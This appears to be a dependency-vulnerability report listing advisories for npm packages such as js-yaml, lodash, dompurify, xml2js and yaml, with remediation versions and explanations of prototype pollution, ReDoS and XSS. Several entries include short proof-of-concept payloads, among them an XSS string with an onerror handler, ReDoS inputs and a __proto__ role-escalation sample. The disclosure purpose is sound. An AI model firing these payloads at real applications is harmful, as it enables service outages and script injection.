Find, fix and prevent vulnerabilities in your code.

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the storeMappingPair() function in loader.js when handling repeated aliases in merge sequences. An attacker can exhaust CPU resources and significantly degrade service availability by submitting malicious YAML documents.

Remediation

Upgrade js-yaml to version 3.15.0, 4.2.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Prototype Pollution via the merge function. An attacker can alter object prototypes by supplying specially crafted YAML documents containing __proto__ properties. This can lead to unexpected behavior or security issues in applications that process untrusted YAML input.

Workaround

This vulnerability can be mitigated by running the server with node --disable-proto=delete or by using Deno, which has pollution protection enabled by default.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade js-yaml to version 3.14.2, 4.1.1 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.23 or higher.

References

• GitHub Commit

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/, if two parameters within a single segment are separated by a character other than a / or .. Poor performance will block the event loop and can lead to a DoS.

Note: While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict option, which returns an error if a dangerous regular expression is detected.

Workaround

This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes - and /.

PoC

/a${'-a'.repeat(8_000)}/a

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade path-to-regexp to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Strict Mode Release Note
• Vulnerability Write-up

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.

Remediation

There is no fixed version for uri-js.

References

• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.

Workaround

Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

• GitHub Commit
• GitHub PR
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Operator Precedence Logic Error in the form of short-circuit evaluation that gives precedence to ADD_TAGS over FORBID_TAGS in _sanitizeElements(). In an application where ADD_TAGS is used as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) and FORBID_TAGS is in use, an attacker can cause forbidden tags to be allowed.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the improper sanitization of nested HTML elements in the createDOMPurify function when traversing deeply nested elements. This can be triggered by passing malicious inputs to the sanitize() function without checking their depth.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 2.5.0, 3.1.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub Release
• PoC
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers such as script, xmp, iframe, noembed, noframes, or noscript. An attacker can execute arbitrary JavaScript code in the client by crafting input that closes the special parsing context early and injects malicious markup, which is then interpreted during the second parse.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Permissive List of Allowed Inputs in the ADD_ATTR predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. An attacker can inject and execute malicious scripts in the DOM by bypassing URI validation for specific attribute and tag combinations, such as allowing href attributes with unsafe protocols like javascript:.

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the USE_PROFILES function. An attacker can execute arbitrary JavaScript code in the context of the user’s browser by polluting Array.prototype with event handler attributes, causing the sanitizer to incorrectly allow dangerous attributes such as onclick.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.3.2 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Template Injection in purify.js, due to inconsistencies in the parsing of XML and HTML tags. Executable code can be injected in HTML inside XML CDATA blocks.

PoC

<![CDATA[ ><img src onerror=alert(1)> ]]>

Remediation

Upgrade dompurify to version 2.4.9, 3.0.11 or higher.

References

• GitHub Commit
• GitHub Commit
• Vulnerability Report

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.

PoC

Run the following script in Node.js after installing the http-cache-semantics NPM package:

const CachePolicy = require("http-cache-semantics");

for (let i = 0; i <= 5; i++) {

const attack = "a" + " ".repeat(i * 7000) +
"z";

const start = performance.now();
new CachePolicy({
headers: {},
}, {
headers: {
"cache-control": attack,
},


});
console.log(`${attack.length}: ${performance.now() - start}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade http-cache-semantics to version 4.1.1 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerable Code

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.

Remediation

There is no fixed version for uri-js.

References

• GitHub Issue

Overview

Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

PoC

var parseString = require('xml2js').parseString;

let normal_user_request    = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade xml2js to version 0.5.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• PoC

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in the compose/resolve phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a RangeError and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.

PoC

const YAML = require('yaml');

// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);

try {
  YAML.parse(payload);
} catch (e) {
  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
  console.log(e.message);          // Maximum call stack size exceeded
}

Remediation

Upgrade yaml to version 1.10.3, 2.8.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML noscript, xmp, noembed, noframes, and iframe attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

